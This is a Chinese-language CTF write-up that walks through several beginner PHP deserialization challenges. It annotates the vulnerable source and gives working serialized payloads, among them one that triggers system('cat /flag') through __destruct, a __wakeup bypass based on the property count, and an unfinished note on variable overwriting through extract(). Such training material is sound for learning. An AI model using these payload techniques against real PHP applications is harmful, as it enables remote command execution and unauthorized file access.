1.[SWPUCTF 2022 新生赛]1z_unserialize
-
代码解析
class lyh//lyh为一个类大括号里面包含有他的各种属性 { public $url = 'NSSCTF.com'; public $lt; public $lly;//这几个=都是lyh的公共属性 function __destruct()//此函数在此程序结束时会被执行在对象被销毁时自动调用 { $a = $this->lt;//把lyh的属性lt的值给变量a $a($this->lly);//把变量a作为一个函数里面的值为lyh的属性lly } } unserialize($_POST['nss']);//将post传参得到的nss反序列化 highlight_file(__FILE__);//高亮显示当前文件
-
思路:我们的目标是要得到flag而整个题目只会接受post传的nss参数
我们看到了$a = $this->lt; $a($this->lly);在整个程序结束时会执行$a这个函数因此我们可以想办法通过让这两行代码执行命令来获取falg
-
例:system(cat /flag)
因此我们可以令我们传入的参数在反序列化后这个类里的属性lt为system lly为cat /flag
这样就可以使执行的$a($this->lly)函数为system(cat /flag)这样就可以得到flag了注意:cat后面有个空格这样才能使命令正确执行
如图:
再通过post传参 nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
如图:
便得到了flag直接提交即可
如图:
解决!
2.[SWPUCTF 2022 新生赛]ez_ez_unserialize
-
代码解析
<?php class X //X为一个类大括号里面包含有他的各种属性 { public $x = __FILE__;//这是X的一个公共属性 function __construct($x)//这里构造了一个函数__construct它可以在X被实例化的时候被调用 { $this->x = $x;//把变量x的值赋给类的属性 } function __wakeup()//__wakeup函数可以在X被反序列化时被调用 { if ($this->x !== __FILE__) { $this->x = __FILE__; }//意思是如果x属性不是__FILE__就会强制将其转化为__FILE__ } function __destruct()//此函数在此程序结束时会被执行在对象被销毁时自动调用 { highlight_file($this->x);//它使用当前对象的属性$x的值(即文件路径)作为参数传递给 highlight_file() 函数 我们的flag也是由这个函数得到的 //flag is in fllllllag.php }//告诉我们存在flag的文件 } if (isset($_REQUEST['x'])) //检验是否存在参数x 因为$_REQUEST['x']是一个 PHP 超全局变量用于访问通过 HTTP 请求传递的参数它可以用于获取 GET、POST 和 COOKIE 请求中的参数值因此无论是get传参还是post传参均可 { @unserialize($_REQUEST['x']);//将x反序列化 } else { highlight_file(__FILE__); }
-
思路:由以上代码可知我们获取flag无非就两个途径要么是 ___destruct函数来输出要么是最后的if语句但是只要传参必定无法通过此语句得到flag因此我们的获取方法只有通过 ___destruct函数因此我们要保证最后的x属性含有fllllllag.php因为存在反序列化函数因此我们可以选择先将其序列化
如图:
结果为O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
-
其中:
O代表object项目
1表示类的长度
x表示类的名称
1表示只有一个属性
注意:一个属性包括一个兼和一个值大括号里是类的属性s代表长度:后边的是名称
因为存在wakeup函数只要反序列化结果x属性不是 FILE 就会强制将其转化为 FILE
但是:在对象反序列化时,PHP 会忽略掉未定义的属性
所以只要我们加一个未定义的属性即可绕过wakeup函数
只需传入参数x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}(X后的数字只要比1大即可)
如图:
解决!
3.[SWPUCTF 2021 新生赛]ez_unserialize
在刚刚进入这个题时我们发现压根找不到题目我们可以先看看前端代码
如图:
我们发现了Disallow(Disallow 是 robots.txt 文件中的一种指令用于指示搜索引擎爬虫不要访问特定的URL路径或目录)
因此在此页面对应的文件的同一个目录下一定有个叫robots.txt的文件因此我们可以试着去访问这个文件再通过这个文件来寻找它不想显示出的文件
如图:
由上图可知文件名称下一步我们去访问这个文件
如图:
接下来就可以开始做题了
-
代码解析
<?php error_reporting(0);//用于报告错误这里因为将错误等级设置为了0所以不会输出错误的信息 show_source("cl45s.php");//展现这个文件的源代码 //其余代码的解析前边的两个题都有 class wllm{ public $admin; public $passwd; public function __construct(){ $this->admin ="user"; $this->passwd = "123456"; } public function __destruct(){ if($this->admin === "admin" && $this->passwd === "ctf"){ include("flag.php"); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo "Just a bit more!"; } } } $p = $_GET['p'];//以get传参的形式传入参数p unserialize($p); ?>
由上图可知我们直接满足if($this->admin === "admin" && $this->passwd === "ctf")
条件即可得到flag
即让wllm类属性中admin和passwd分别为admin和ctf即可
具体操作如图:
注意在这段序列化代码中不要写
public function __construct(){ $this->admin ="user"; $this->passwd = "123456";
否则你的admin和passwd将永远是user和123456
-
然后get传参p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
如图:
将得到的flag提交就行
如图:
解决!
4.2019]easy_serialize_php
这个题我的逻辑不太清等我学习一下再改(想的话先看下代码解析)
-
代码解析:
<?php $function = @$_GET['f']; // 获取 GET 参数 'f' 的值赋给变量 $function,@ 符号用于抑制可能的未定义错误 function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); // 定义一个过滤数组包含需要过滤的关键词 $filter = '/'.implode('|',$filter_arr).'/i'; // 将过滤数组转换为正则表达式 return preg_replace($filter,'',$img); // 使用正则表达式进行过滤 } if($_SESSION){ unset($_SESSION); // 清空会话(SESSION)数据 } $_SESSION["user"] = 'guest'; // 设置会话数据中的 'user' 键为 'guest' $_SESSION['function'] = $function; // 将 GET 参数 'f' 的值赋给会话数据中的 'function' 键 extract($_POST); // 从 POST 数据中将键值对提取为变量可能存在安全风险 if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; // 如果没有传递 GET 参数 'f'则输出一个带有 'highlight_file' 参数的链接 } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); // 如果没有传递 GET 参数 'img_path',将字符串 'guest_img.png' 进行 base64 编码并存储到会话数据中的 'img' 键 }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); // 如果传递了 GET 参数 'img_path',将其进行 base64 编码然后进行 SHA-1 哈希处理,并将结果存储到会话数据中的 'img' 键 } $serialize_info = filter(serialize($_SESSION)); // 对会话数据进行序列化并使用 filter() 函数对序列化后的字符串进行过滤 if($function == 'highlight_file'){ highlight_file('index.php'); // 如果 GET 参数 'f' 的值为 'highlight_file'则将当前脚本的源代码进行高亮显示 }else if($function == 'phpinfo'){ eval('phpinfo();'); // 如果 GET 参数 'f' 的值为 'phpinfo'则执行 phpinfo() 函数输出 PHP 服务器的信息这可能存在安全风险 }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); // 将过滤后的序列化数据进行反序列化并赋值给变量 $userinfo echo file_get_contents(base64_decode($userinfo['img'])); // 读取 base64 解码后的图像文件内容,并输出到页面上存在安全风险 }
extract($_POST)就是将post的内容作为这个函数的参数。
然后就是变量覆盖。如果post传参为SESSION[flag]=123,那么$SESSION["user"]和$_SESSION["function"]的值都会被覆盖。
至于为什么post要传SESSION[flag]=123而不是$SESSION[flag]=123,是因为SESSION是变量名,如果传$SESSION,那么就会失效。
找到了一个php文件,意思是页面底部加载文件,即require()
所以就有可能要通过最后一个语句来打开查看这个文件
else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
而那个文件名以base64编码后的字符串存在userinfo['img']里面,而$userinfo = unserialize($serialize_info)
又$serialize_info= filter(serialize($_SESSION))而且在提取文件时只对文件进行了一次base64解码,所以对应代码里的
if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
只能让img_path为空,并把guest_img.png逃逸出去